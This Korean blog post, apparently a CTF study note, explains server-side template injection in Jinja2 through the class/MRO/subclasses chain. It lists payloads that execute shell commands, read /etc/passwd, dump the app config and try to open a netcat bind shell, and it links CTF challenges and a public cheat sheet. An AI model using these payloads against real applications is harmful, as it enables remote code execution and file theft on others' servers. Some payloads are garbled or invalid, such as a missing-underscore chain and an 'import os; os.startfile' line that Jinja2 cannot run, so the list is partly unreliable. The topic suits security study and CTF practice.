SSTI 인젝션같은경우 항상 치트시트만 보면서 공부를해와서 이번 기회에 정리를 하려고한다.

그래서 좀 더 자세한 동작원리를 기본으로하여 공부하려고 한다.

 

SSTI Injection 같은 경우 HTML 템플릿 샌드박스에서 발생하는 취약점이다.

즉 HTML 내에서 서버내 코드를 편하게 사용하여 디자인을 간편하게 해주는 기능이다.

 

종류로는 Ruby, Java, Twig, Smarty, Freemarker, Jade/Codepen, Velocity, Mako, Jinja2,  가 있다.

 

위와 같은 방법으로 해당 템플릿 종류를 추론할 수 있다.

 

Jinja2 기준

 

__class__.__base__.__subclasses__ 알아보자.

__bases__.subclasses는 이 함수는 서브 클래스의 모든 함수를 반환 해주는 함수이다.

MRO(method resolution order) 는 클래스를 상속했을때 메서드를 가져오는 순서를 의미한다.

__class__.mro()[1].__subclasses__()[46] 이런식으로 해당 클래스내 객체에 접근 한다.

 

{{ '7'*7 }}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}} 
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
{{ config.items() }}
{{ config.from_object('os') }}
{{''.__class__.mro()[1].__subclasses__()[46]('touch /tmp/rce',shell=True)}}
{{ ''.__class__.__mro__ }}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}
{{ import os; os.startfile("nc -lnvp 4444 -e /bin/sh") }}

 

 

참고할만한 좋은 자료 

2018 PicoCTF

1. Flaskcards

2. Flaskcards_Skeleton_key

3. Flaskcards_and_Freedom

 

 

Flask 세션 인코딩 디코딩 툴 : https://github.com/noraj/flask-session-cookie-manager

SSTI INJECTION CHEET SHEET

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

 

'Web security' 카테고리의 다른 글

WEB - OBJECT INJECTION  (0) 2019.09.01
WEB - XXE  (0) 2019.08.31
WEB - LFI  (2) 2019.08.29
WEB - XS LEAK(Facebook CTF Secret Note Keeper)  (0) 2019.07.02
WEB - Lord of sql injection (2)  (0) 2019.06.26

+ Recent posts